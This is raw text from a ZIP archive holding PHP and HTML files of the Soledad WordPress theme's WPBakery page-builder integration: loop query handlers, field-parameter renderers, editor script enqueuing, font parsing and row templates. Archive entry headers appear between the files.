			$tags = get_terms( PenciSoledadLoopSettings::getTaxonomies(), $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array(
					'value' => $tag->term_id,
					'name'  => $tag->name . ' (' . $tag->taxonomy . ')',
				);
			}
		}

		public function get_by_id( $query ) {
			$post_type_pre = array();

			$post_types = get_post_types( array( 'public' => true ) );

			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type ) {
					$post_type_pre[] = $post_type;
				}
			}

			$args = ! empty( $query ) ? array(
				's'         => $query,
				'post_type' => $post_type_pre
			) : array( 'post_type' => $post_type_pre );

			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}

			$postsqr = new WP_Query( $args );
			$posts   = $postsqr->posts;

			foreach ( $posts as $post ) {
				$this->content[] = array( 'value' => $post->ID, 'name' => $post->post_title );
			}
		}

		public function render() {
			echo json_encode( $this->content );
		}
	}
endif;

if ( ! function_exists( 'penci_build_loop_query' ) ) {
	function penci_build_loop_query( $query, $exclude_id = false ) {
		return PenciSoledadLoopSettings::buildWpQuery( $query, $exclude_id );
	}
}

if ( ! function_exists( 'penci_build_args_query' ) ) {
	function penci_build_args_query( $query, $exclude_id = false ) {
		$query = PenciSoledadLoopSettings::buildArgsQuery( $query, $exclude_id );
		if ( ! empty( $query['post_type'] ) && ( in_array( 'archive-template', (array) $query['post_type'] ) || in_array( 'custom-post-template', (array) $query['post_type'] ) ) ) {
			$query = $GLOBALS['wp_query']->query_vars;
		}

		return $query;
	}
}

if ( ! function_exists( 'penci_get_loop_suggestion' ) ) {
	function penci_get_loop_suggestion() {
		vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();

		$loop_suggestions = new PenciSoledadLoopSuggestions( vc_post_param( 'field' ), vc_post_param( 'query' ), vc_post_param( 'exclude' ) );
		$loop_suggestions->render();
		die();
	}
}

if ( ! function_exists( 'penci_get_loop_settings_json' ) ) {
	function penci_get_loop_settings_json() {
		vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();

		$loop_settings = new PenciSoledadLoopSettings( vc_post_param( 'value' ), vc_post_param( 'settings' ) );
		$loop_settings->render();
		die();
	}
}
add_action( 'wp_ajax_wpb_get_loop_suggestion', 'penci_get_loop_suggestion' );
add_action( 'wp_ajax_wpb_get_loop_settings', 'penci_get_loop_settings_json' );

if ( ! function_exists( 'penci_loop_include_templates' ) ) {
	function penci_loop_include_templates() {
		include( trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/js_composer/params/loop/templates.html' );
	}
}
add_action( 'admin_footer', 'penci_loop_include_templates' );

if ( ! function_exists( 'penci_set_loop_default_value' ) ) {
	function penci_set_loop_default_value( $param ) {
		if ( empty( $param['value'] ) && isset( $param['settings'] ) ) {
			$param['value'] = PenciSoledadLoopSettings::buildDefault( $param );
		}

		return $param;
	}
}
add_filter( 'vc_mapper_attribute_build_query', 'penci_set_loop_default_value' );
PK     0w\UB    &  js_composer/params/loop/templates.htmlnu [        <script type="text/html" id="vcl-loop-frame">
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<# if(vc.loop_field_not_hidden('post_type', loop)) { #>
			<label class="wpb_element_label"><?php _e('Post types', 'soledad') ?></label>

			<div class="post-types-list">
				{{{ vc.loop_partial('checkboxes', 'post_type', loop) }}}
			</div>
			<span class="description clear"><?php _e('Select post types to populate posts from. Note: If no post type is selected, WordPress will use default "Post" value.', 'soledad'); ?></span>
			<# } #>
		</div>
	</div>
	<div class="vc_row">
		<# if(vc.loop_field_not_hidden('size', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Post count', 'soledad') ?></label>
			{{{ vc.loop_partial('text-input', 'size', loop) }}}
			<span class="description clear"><?php _e('How many teasers to show? Enter number or word "All".', 'soledad'); ?></span>
		</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('offset', loop)) { #>
			<div class="vc_col-sm-6">
				<label class="wpb_element_label"><?php _e('Offset posts', 'soledad') ?></label>
				{{{ vc.loop_partial('text-input', 'offset', loop) }}}
				<span class="description clear"><?php _e('Start the count with an offset.', 'soledad'); ?></span>
			</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('order_by', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Order by', 'soledad') ?></label>
			{{{ vc.loop_partial('dropdown', 'order_by', loop) }}}
			<span class="description clear"><?php  _e('Select how to sort retrieved posts.', 'soledad'); ?></span>
		</div>
		<# } #>
		<# if(vc.loop_field_not_hidden('order', loop)) { #>
		<div class="vc_col-sm-6">
			<label class="wpb_element_label"><?php _e('Sort order', 'soledad') ?></label>
			{{{ vc.loop_partial('dropdown', 'order', loop) }}}
			<span class="description clear"><?php _e('Designates the ascending or descending order.', 'soledad'); ?></span>
		</div>
		<# } #>
	</div>

	<# if(vc.loop_field_not_hidden('categories', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Categories', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'categories', loop) }}}
				<span class="description clear"><?php _e('Filter output by posts categories, enter category names here. Check more <a href="https://www.youtube.com/watch?v=QOnGWZNScG4" target="_blank">here</a> to know how to exclude categories', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('tags', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Tags', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'tags', loop) }}}
				<span class="description clear"><?php _e('Filter output by posts tags, enter tag names here.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('tax_query', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Taxonomies', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'tax_query', loop) }}}
				<span class="description clear"><?php _e('Filter output by custom taxonomies categories, enter category names here.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('by_id', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Individual Posts/Pages/Custom Post Types', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'by_id', loop) }}}
				<span class="description clear"><?php _e('Only entered posts/pages will be included in the output. Note: Works in conjunction with selected "Post types".', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
	<# if(vc.loop_field_not_hidden('authors', loop)) { #>
	<div class="vc_row">
		<div class="vc_col-sm-12">
			<div class="vc_suggest-field" data-block="suggestion">
				<label class="wpb_element_label"><?php _e('Author', 'soledad') ?></label>
				{{{ vc.loop_partial('autosuggest', 'authors', loop) }}}
				<span class="description clear"><?php _e('Filter by author name.', 'soledad'); ?></span>
			</div>
		</div>
	</div>
	<# } #>
</script>
<script type="text/html" id="_vcl-text-input">
	<#
	var is_locked = vc.is_locked(data),
	disabled = is_locked  ? ' disabled="true"' : '',
	value = _.isObject(data) && !_.isUndefined(data.value) ? data.value : '';
	#>
	<input type="text" name="{{ name }}" value="{{ value }}" class="vc_{{ name }}_field" {{ disabled }}>
</script>
<script type="text/html" id="_vcl-dropdown">
	<#
	var is_locked = vc.is_locked(data),
	disabled = is_locked  ? ' disabled="true"' : '';
	#>
	<select name="{{ name }}" class="vc_dropdown" {{ disabled }}>
		<option value=""></option>
		<# if(_.isObject(data) && _.isArray(data.options)) { #>
		<#
		_.each(data.options, function(opt) {
		var value, label;
		if(_.isArray(opt)) {
		value = opt[0];
		label = opt[1];
		} else {
		value = opt;
		label = opt;
		}#>
		<option value="{{ value }}"
		        {{ data.value===value ?
		' selected="true"' : '' }}>{{ label }}</option>
		<#
		});
		#>
		<# } #>
	</select>
</script>
<script type="text/html" id="_vcl-checkboxes">
	<#
	var is_locked = vc.is_locked(data);
	#>
	<input type="hidden" name="{{ name }}" value="{{ data.value }}" data-name="{{ name }}">
	<# if(_.isObject(data) && _.isArray(data.options)) {
	_.each(data.options, function(opt) {
	var value, label, params;
	if(_.isArray(opt)) {
	value = opt[0];
	label = opt[1];
	} else {
	value = opt;
	label = opt;
	}
	params = _.indexOf(data.value, value) >=0 ? ' checked="true"' : '';
	if(!_.isEmpty(params) && is_locked) params += ' disabled="true"';
	#>
	<label><input type="checkbox" data-input="{{ name }}" value="{{ value }}" {{ params }}/> {{ label }}</label>
	<#
	});
	} #>
</script>
<script type="text/html" id="_vcl-autosuggest">
	<# limit_param = _.isObject(settings) && !_.isUndefined(settings.limit) ? ' data-limit="' + settings.limit + '"' : ''; #>
	<input type="hidden" data-suggest-prefill="{{ name }}"
	       value="{{ _.isObject(data) && _.isArray(data.options) ? window.encodeURIComponent(JSON.stringify(data.options)) : '' }}">
	<input type="hidden" name="{{ name }}"
	       value="{{ _.isObject(data) && _.isArray(data.value) ? data.value.join(',') : '' }}"
	       data-suggest-value="{{ name }}">
	<input type="text" name="{{ name }}_autosuggest" value=""
	       placeholder="<?php _e('Click here and start typing...', 'soledad'); ?>" class="vc_{{ name }}_field"
	       data-suggest="{{ name }}" {{ limit_param }}/>
</script>PK     0w\y    +  js_composer/params/buttons_set/register.phpnu [        <?php
/**
 * Button set param.
 *
 * @package Soledad
 */

if ( ! function_exists( 'penci_get_button_set_param' ) ) {
	/**
	 * Button set param.
	 *
	 * @param array  $settings Settings.
	 * @param string $value    Value.
	 *
	 * @return string
	 */
	function penci_get_button_set_param( $settings, $value ) {
		if ( ! $value && isset( $settings['default'] ) ) {
			$current_value = $settings['default'];
		} else {
			$current_value = $value;
		}

		$wrapper_classes = '';

		if ( isset( $settings['tabs'] ) ) {
			$current_value    = array_values( $settings['value'] )[0];
			$wrapper_classes .= ' penci-tabs';
		}

		ob_start();
		?>
		<div class="penci-select-fields penci-style-buttons penci-vc-button-set<?php echo esc_attr( $wrapper_classes ); ?>">
			<input type="hidden" class="penci-vc-button-set-value wpb_vc_param_value" name="<?php echo esc_attr( $settings['param_name'] ); ?>" value="<?php echo esc_attr( $current_value ); ?>">

			<ul class="penci-select-buttons penci-vc-button-set-list">
				<?php foreach ( $settings['value'] as $title => $value ) : ?>
					<?php
					$classes = '';

					if ( $current_value === $value ) {
						$classes .= ' penci-active';
					}
					?>

					<li class="penci-buttons-item vc-button-set-item<?php echo esc_attr( $classes ); ?>" data-value="<?php echo esc_html( $value ); ?>">
						<span>
							<?php echo esc_html( $title ); ?>
						</span>
					</li>
				<?php endforeach; ?>
			</ul>
		</div>
		<?php
		return ob_get_clean();
	}
}


PK     0w\|    &  js_composer/params/switch/register.phpnu [        <?php
/**
 * This file creates html for the penci_switch field in WPBakery.
 *
 * @package Soledad.
 */

/**
 * penci switch param
 */
if ( ! function_exists( 'penci_get_switch_param' ) ) {
	/**
	 * This function creates html for the penci_switch field in WPBakery.
	 *
	 * @param array $settings .
	 * @param array $value .
	 *
	 * @return string
	 */
	function penci_get_switch_param( $settings, $value ) {
		$default = isset( $settings['std'] ) && $settings['std'] ? $settings['std'] : ( isset( $settings['default'] ) && $settings['default'] ? $settings['default'] : 'no' );
		if ( '0' === $value ) {
			$value = 0;
		} elseif ( empty( $value ) ) {
			$value = $default;
		}

		$settings['true_state']  = isset( $settings['true_state'] ) ? $settings['true_state'] : 'yes';
		$settings['false_state'] = isset( $settings['false_state'] ) ? $settings['false_state'] : 'no';

		$settings['true_text']  = isset( $settings['true_text'] ) ? $settings['true_text'] : esc_html__( 'yes', 'soledad' );
		$settings['false_text'] = isset( $settings['false_text'] ) ? $settings['false_text'] : esc_html__( 'no', 'soledad' );

		ob_start();
		?>
        <div class="penci-vc-switch">
            <input type="hidden" class="switch-field-value wpb_vc_param_value"
                   name="<?php echo esc_attr( $settings['param_name'] ); ?>" value="<?php echo esc_attr( $value ); ?>">
            <div class="penci-vc-switch-inner">
                <div class="switch-controls switch-active"
                     data-value="<?php echo esc_attr( $settings['true_state'] ); ?>">
						<span>
							<?php echo esc_html( $settings['true_text'] ); ?>
						</span>
                </div>
                <div class="switch-controls switch-inactive"
                     data-value="<?php echo esc_attr( $settings['false_state'] ); ?>">
						<span>
							<?php echo esc_html( $settings['false_text'] ); ?>
						</span>
                </div>
            </div>
        </div>
		<?php

		return ob_get_clean();
	}
}
PK     0w\@      js_composer/params/params.phpnu [        <?php
remove_action( 'admin_footer', 'vc_loop_include_templates', 1 );
add_action( 'wp_ajax_vc_edit_form', 'penci_remove_shortcode_param_loop', 1 );
if ( ! function_exists( 'penci_remove_shortcode_param_loop' ) ) {
	function penci_remove_shortcode_param_loop() {
		global $vc_params_list;

		$key = array_search( 'loop', $vc_params_list, true );
		if ( false !== $key ) {
			unset( $vc_params_list[ $key ] );
		}

	}
}

require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/loop/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/number/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/only_number/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/post_metas/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/separator/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/custom_markup/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/heading_title/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/buttons_set/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/switch/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/slider/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/sizes/register.php';
require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/spacing/register.php';

vc_add_shortcode_param( 'loop', 'penci_soledad_vc_param_loop' );
vc_add_shortcode_param( 'penci_number', 'penci_vc_param_number' );
vc_add_shortcode_param( 'penci_only_number', 'penci_vc_param_only_number' );
vc_add_shortcode_param( 'penci_post_metas', 'penci_vc_param_post_metas' );
vc_add_shortcode_param( 'penci_separator', 'penci_vc_param_separator' );
vc_add_shortcode_param( 'penci_custom_markup', 'penci_vc_param_custom_markup' );
vc_add_shortcode_param( 'penci_heading_title', 'penci_vc_param_heading_title' );
vc_add_shortcode_param( 'penci_buttons_sets', 'penci_get_button_set_param' );
vc_add_shortcode_param( 'penci_switch', 'penci_get_switch_param' );
vc_add_shortcode_param( 'penci_slider', 'penci_get_slider_param' );
vc_add_shortcode_param( 'penci_responsive_sizes', 'penci_get_responsive_size_param' );
vc_add_shortcode_param( 'penci_responsive_spacing', 'penci_get_responsive_spacing_param' );
PK     0w\OS    -  js_composer/params/heading_title/register.phpnu [        <?php
/**
 * Callback for new param 'penci_heading_title'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_heading_title( $settings, $value ) {
	$heading     = isset( $settings['heading'] ) ? esc_attr( $settings['heading'] ) : '';
	$description = isset( $settings['description'] ) ? esc_attr( $settings['description'] ) : '';
	$type        = isset( $settings['type'] ) ? esc_attr( $settings['type'] ) : '';


	$out = '';

	$out .= '<div class="penci-vc-heading-title ' . esc_attr( $type ) . '">';

	if ( $heading ) {
		$out .= '<h4 class="heading">' . esc_attr( $heading ) . '</h4>';
	}

	if ( $description ) {
		$out .= '<span class="description">' . esc_attr( $description ) . '</span>';
	}

	$out .= '</div>';

	return $out;
}

PK     0w\>	f    %  js_composer/params/sizes/register.phpnu [        <?php
if ( ! function_exists( 'penci_get_responsive_size_param' ) ) {
	function penci_get_responsive_size_param( $settings, $value ) {

		$settings['css_args'] = isset( $settings['css_args'] ) && $settings['css_args'] ? $settings['css_args'] : '';

		$output = '<div class="penci-rs-wrapper ' . esc_attr( $settings['param_name'] ) . '">';
		$output .= '<div class="penci-rs-item desktop">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Desktop"><i class="dashicons dashicons-desktop"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="desktop">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-item tablet">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Tablet"><i class="dashicons dashicons-tablet"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="tablet">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-item mobile">';
		$output .= '<span class="penci-rs-icon penci-css-tooltip" data-text="Mobile"><i class="dashicons dashicons-smartphone"></i></span>';
		$output .= '<input type="number" min="1" class="penci-rs-input" data-id="mobile">';
		$output .= '</div>';

		$output .= '<div class="penci-rs-unit">px</div>';

		$output .= '<input type="hidden" data-css_args="' . esc_attr( json_encode( $settings['css_args'] ) ) . '" name="' . esc_attr( $settings['param_name'] ) . '" class="wpb_vc_param_value penci-rs-value" value="' . esc_attr( $value ) . '">';
		$output .= '</div>';

		return $output;
	}

}
PK     0w\6      -  js_composer/params/custom_markup/register.phpnu [        <?php
/**
 * Callback for new param 'penci_separator'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_custom_markup( $settings, $value ) {
	return $value;
}

PK     0w\7b      js_composer/js_composer.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_WPB_VC' ) ):
	class Penci_WPB_VC {
		private static $_instance = null;

		public static function instance() {

			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;

		}

		public function __construct() {
			add_action( 'vc_before_init', array( $this, 'init' ), 5 );

			add_action( 'admin_print_scripts-post.php', array( $this, 'printScriptsMessages', ), 9999 );
			add_action( 'admin_print_scripts-post-new.php', array( $this, 'printScriptsMessages', ), 9999 );

			if ( defined( 'WP_DEBUG' ) && ! WP_DEBUG ) {
				add_filter( 'vc_google_fonts_get_fonts_filter', array( $this, 'add_google_fonts' ) );
			}
			add_action( 'vc_after_init', array( $this, 'vc_after_init_actions' ) );
		}

		public function init() {
			$this->includes();
		}

		public function includes() {
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/params/params.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/global-blocks.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/shortcodes-classes.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/vc-params-helper.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/custom-css-oldsc.php';
			require PENCI_SOLEDAD_DIR . '/inc/js_composer/inc/product_param.php';

			$this->load_shortcodes();
		}

		function vc_after_init_actions() {
			add_action( 'vc_frontend_editor_render', array( $this, 'frontend_editor_render' ) );
			add_action( 'vc_load_iframe_jscss', array( $this, 'load_iframe_jscss' ) );
		}

		function frontend_editor_render() {
			wp_enqueue_script( 'penci-frontend_editor', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/frontend-editor.js', array(
				'vc-frontend-editor-min-js',
				'underscore'
			), PENCI_SOLEDAD_VERSION, true );
		}

		function load_iframe_jscss() {
			wp_enqueue_style( 'penci-frontend_editor', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/frontend-editor.css', '', PENCI_SOLEDAD_VERSION );
			wp_enqueue_script( 'penci_inline_iframe_js', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/page_editable.js', array( 'vc_inline_iframe_js' ), PENCI_SOLEDAD_VERSION, true );
		}

		protected function load_shortcodes() {
			$dirs = glob( dirname( __FILE__ ) . '/shortcodes/*', GLOB_ONLYDIR );

			foreach ( $dirs as $dir ) {
				$id_shortcode = basename( $dir );
				if ( 'latest_tweets' == $id_shortcode &&  ! function_exists( 'penci_getTweets' ) ) {
					continue;
				}

				if ( 'web_stories' == $id_shortcode && ! defined( 'WEBSTORIES_VERSION' ) ) {
					continue;
				}

				include "$dir/settings.php";
			}

			do_action( 'penciframework_add_shortcode_vc' );
		}

		public function get_list_shortcodes() {
			return array(
				'container',
				'column',
				'container_inner',
				'column_inner',
				'fancy_heading',
				'google_map',
				'info_box',
				'popular_cat',
			);
		}

		/**
		 * Enqueue scripts and styles.
		 */
		public function printScriptsMessages() {
			if ( ! vc_is_frontend_editor() && $this->isValidPostType( get_post_type() ) ) {
				wp_enqueue_script( 'pen-vc-backend', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/vc-backend.js', array(
					'jquery',
					'vc-backend-min-js'
				), PENCI_SOLEDAD_VERSION, true );
				wp_enqueue_style( 'pen-vc-backend', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/admin.css', '', PENCI_SOLEDAD_VERSION );
				$localize_script = array(
					'ajaxUrl' => admin_url( 'admin-ajax.php' ),
					'nonce'   => wp_create_nonce( 'ajax-nonce' ),
				);
				wp_localize_script( 'pen-vc-backend', 'PENCILOCALIZE', $localize_script );
				wp_enqueue_script( 'pen-vc-fields', PENCI_SOLEDAD_URL . '/inc/js_composer/assets/vc-fields.js', array(
					'jquery',
					'jquery-ui-slider',
				), PENCI_SOLEDAD_VERSION, true );
			}
		}

		public function isValidPostType( $type = '' ) {
			if ( 'vc_grid_item' === $type ) {
				return false;
			}

			return vc_check_post_type( ! empty( $type ) ? $type : get_post_type() );
		}

		public function add_google_fonts( $fonts_list ) {
			$fonts = array_merge( penci_get_custom_fonts(), penci_font_browser(), penci_list_google_fonts_array() );
			array_walk( $fonts, array( $this, 'parse_google_font' ) );

			return array_merge( array( '' ), array_values( $fonts ), $fonts_list );
		}

		protected function parse_google_font( &$font, $font_data ) {
			list( $name, $styles ) = explode( ',', $font_data . ',' );
			$styles = str_replace( ':', ',', trim( $styles ) );

			$font_class              = new stdClass();
			$font_class->font_family = str_replace( '"', '', $name );
			$font_class->font_types  = implode( ',', $this->parse_font_types( $styles ) );
			$font_class->font_styles = $styles;

			$font = $font_class;
		}

		protected function parse_font_types( $styles ) {
			$styles = array_filter( explode( ',', $styles . ',' ) );
			array_walk( $styles, array( $this, 'parse_font_type' ) );

			return $styles;
		}

		protected function parse_font_type( &$style ) {
			$types = array(
				'100'       => '100 thin:100:normal',
				'100i'      => '100 thin italic:100:italic',
				'100italic' => '100 thin italic:100:italic',
				'200'       => '200 thin:200:normal',
				'200i'      => '200 thin italic:200:italic',
				'200italic' => '200 thin italic:200:italic',
				'300'       => '300 light:300:normal',
				'300i'      => '300 light italic:300:italic',
				'300italic' => '300 light italic:300:italic',
				'400'       => '400 regular:400:normal',
				'regular'   => '400 regular:400:normal',
				'400i'      => '400 regular italic:400:italic',
				'400italic' => '400 regular italic:400:italic',
				'italic'    => '400 regular italic:400:italic',
				'500'       => '500 medium:500:normal',
				'500i'      => '500 medium italic:500:italic',
				'500italic' => '500 medium italic:500:italic',
				'600'       => '600 medium:600:normal',
				'600i'      => '600 medium italic:600:italic',
				'600italic' => '600 medium italic:600:italic',
				'700'       => '700 bold:700:normal',
				'bold'      => '700 bold:700:normal',
				'700i'      => '700 bold italic:700:italic',
				'700italic' => '700 bold italic:700:italic',
				'800'       => '800 bolder:800:normal',
				'800i'      => '800 bolder italic:800:italic',
				'800italic' => '800 bolder italic:800:italic',
				'900'       => '900 black:900:normal',
				'900i'      => '900 black italic:900:italic',
				'900italic' => '900 black italic:900:italic',
			);
			$style = isset( $types[ $style ] ) ? $types[ $style ] : '400 regular:400:normal';
		}
	}

	Penci_WPB_VC::instance();
endif;
PK     0w\Q2       js_composer/templates/vc_row.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $full_width
 * @var $full_height
 * @var $equal_height
 * @var $columns_placement
 * @var $content_placement
 * @var $parallax
 * @var $parallax_image
 * @var $css
 * @var $el_id
 * @var $video_bg
 * @var $video_bg_url
 * @var $video_bg_parallax
 * @var $parallax_speed_bg
 * @var $parallax_speed_video
 * @var $content - shortcode content
 * @var $css_animation
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row $this
 */
$el_class = $full_height = $parallax_speed_bg = $parallax_speed_video = $full_width = $equal_height = $flex_row = $columns_placement = $content_placement = $parallax = $parallax_image = $css = $el_id = $video_bg = $video_bg_url = $video_bg_parallax = $css_animation = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$el_class = $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);

if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) || $video_bg || $parallax
) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
if ( ! empty( $full_width ) ) {
	$wrapper_attributes[] = 'data-vc-full-width="true"';
	$wrapper_attributes[] = 'data-vc-full-width-init="false"';
	if ( 'stretch_row_content' === $full_width ) {
		$wrapper_attributes[] = 'data-vc-stretch-content="true"';
	} elseif ( 'stretch_row_content_no_spaces' === $full_width ) {
		$wrapper_attributes[] = 'data-vc-stretch-content="true"';
		$css_classes[] = 'vc_row-no-padding';
	}
	$after_output .= '<div class="vc_row-full-width vc_clearfix"></div>';
}

if ( ! empty( $full_height ) ) {
	$css_classes[] = 'vc_row-o-full-height';
	if ( ! empty( $columns_placement ) ) {
		$flex_row = true;
		$css_classes[] = 'vc_row-o-columns-' . $columns_placement;
		if ( 'stretch' === $columns_placement ) {
			$css_classes[] = 'vc_row-o-equal-height';
		}
	}
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$has_video_bg = ( ! empty( $video_bg ) && ! empty( $video_bg_url ) && vc_extract_youtube_id( $video_bg_url ) );

$parallax_speed = $parallax_speed_bg;
if ( $has_video_bg ) {
	$parallax = $video_bg_parallax;
	$parallax_speed = $parallax_speed_video;
	$parallax_image = $video_bg_url;
	$css_classes[] = 'vc_video-bg-container';
	wp_enqueue_script( 'vc_youtube_iframe_api_js' );
}

if ( ! empty( $parallax ) ) {
	wp_enqueue_script( 'vc_jquery_skrollr_js' );
	$wrapper_attributes[] = 'data-vc-parallax="' . esc_attr( $parallax_speed ) . '"'; // parallax speed
	$css_classes[] = 'vc_general vc_parallax vc_parallax-' . $parallax;
	if ( false !== strpos( $parallax, 'fade' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fade';
		$wrapper_attributes[] = 'data-vc-parallax-o-fade="on"';
	} elseif ( false !== strpos( $parallax, 'fixed' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fixed';
	}
}

if ( ! empty( $parallax_image ) ) {
	if ( $has_video_bg ) {
		$parallax_image_src = $parallax_image;
	} else {
		$parallax_image_id = preg_replace( '/[^\d]/', '', $parallax_image );
		$parallax_image_src = wp_get_attachment_image_src( $parallax_image_id, 'full' );
		if ( ! empty( $parallax_image_src[0] ) ) {
			$parallax_image_src = $parallax_image_src[0];
		}
	}
	$wrapper_attributes[] = 'data-vc-parallax-image="' . esc_attr( $parallax_image_src ) . '"';
}
if ( ! $parallax && $has_video_bg ) {
	$wrapper_attributes[] = 'data-vc-video-bg="' . esc_attr( $video_bg_url ) . '"';
}
$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     0w\Å     &  js_composer/templates/vc_row_inner.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

